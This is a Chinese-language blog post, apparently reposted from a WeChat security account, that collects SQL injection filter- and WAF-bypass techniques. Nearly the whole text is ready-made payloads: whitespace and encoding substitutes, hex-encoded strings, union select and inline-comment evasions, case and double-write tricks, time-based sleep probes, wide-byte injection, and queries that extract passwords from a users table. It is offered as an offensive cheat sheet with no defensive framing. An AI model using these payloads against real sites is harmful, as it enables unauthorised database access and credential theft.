SQL注入绕过总结

admin 2021年10月21日09:27:25评论197 views字数 2278阅读7分35秒阅读模式

SQL注入绕过总结


空格被过滤

使用以下编码字符可进行绕过:

%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*注释*/

括号绕过空格

适用场景:
空格被过滤,括号未被过滤
例如:

select(user())from database where(1=1)and(2=2)id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

引号绕过(用十六进制)

适用场景:
引号被过滤
例如:以下的引号被过滤,采用users的十六进制可以绕过(转换后前加0x)
十六进制编码网站:
https://www.sojson.com/hexadecimal.html

select column_name  from information_schema.tables where table_name="users"select column_name  from information_schema.tables where table_name=0x7573657273

逗号绕过

适用场景:
需要使用substr()、mid()、limit等。
例如:使用from for

select substr(database() from 1 for 1);select mid(database() from 1 for 1);

使用join:

union select 1,2     #等价于union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80   #等价于select user() like 'r%'

limit可以使用offset:

select * from news limit 0,1# 等价于下面这条SQL语句select * from news limit 1 offset 0

比较符号绕过

适用场景:
<>被过滤
例如:使用greatest()、least(),分别返回最大值和最小值,greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值

select * from users where id=1 and ascii(substr(database(),0,1))>64select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

使用between and:

between a and b;between 1 and 1#等价于 =1

or and xor not绕过

适用场景:
and、or、 xor、not被过滤
例如:

and=&& or=|| xor=| not=!

注释符号绕过

适用场景:
注释符#,--加空格被过滤
例如:

id=1' union select 1,2,3||'1

最后的or '1闭合查询语句的最后的单引号,或者:

id=1' union select 1,2,'3

等号绕过

适用场景:
union、select、where被过滤
例如:
使用注释符绕过

//,-- , /**/, #, --+, -- -, ;,%00,--aU/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

大小写绕过

id=-1'UnIoN/**/SeLeCT

内联注释绕过

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

双写绕过

id=-1'UNIunionONSeLselectECT1,2,3–-

编码绕过

适用场景:
网页对编码字符未过滤
例如:

or 1=1等价于%6f%72%20%31%3d%31

函数替代绕过

适用场景:
某些关键函数被过滤(sleep()等)
例如:

hex()、bin() ==> ascii()sleep() ==>benchmark()concat_ws()==>group_concat()mid()、substr() ==> substring()@@user ==> user()@@datadir ==> datadir()举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 或者:substr((select 'password'),1,1) = 0x70strcmp(left('password',1), 0x69) = 1strcmp(left('password',1), 0x70) = 0strcmp(left('password',1), 0x71) = -1

宽字节注入绕过

适用场景:
所输入的单双引号会被转义
例如:

?id=1' and 1=1#?id=1%df' and 1=1#

其他绕过

使用冗杂字符%23%0a
例如:

id=1' and%23%0a 1%23%0a=1id=1' union%23aaa%0aselect 1,2,3--+
id=1' /*!14440order by*/3--+id=1' /*!14440union*//*!14440select*/1,2,3--+
id=1'and -1=-1id=1'and -1=-2id=1'and ~1=~1id=1'and ~1=~2id=1' and BINARY 1 --+id=1' and BINARY 0 --+


本文始发于微信公众号(Fight Tigers Team):SQL注入绕过总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月21日09:27:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入绕过总结https://cn-sec.com/archives/397313.html

发表评论

匿名网友 填写信息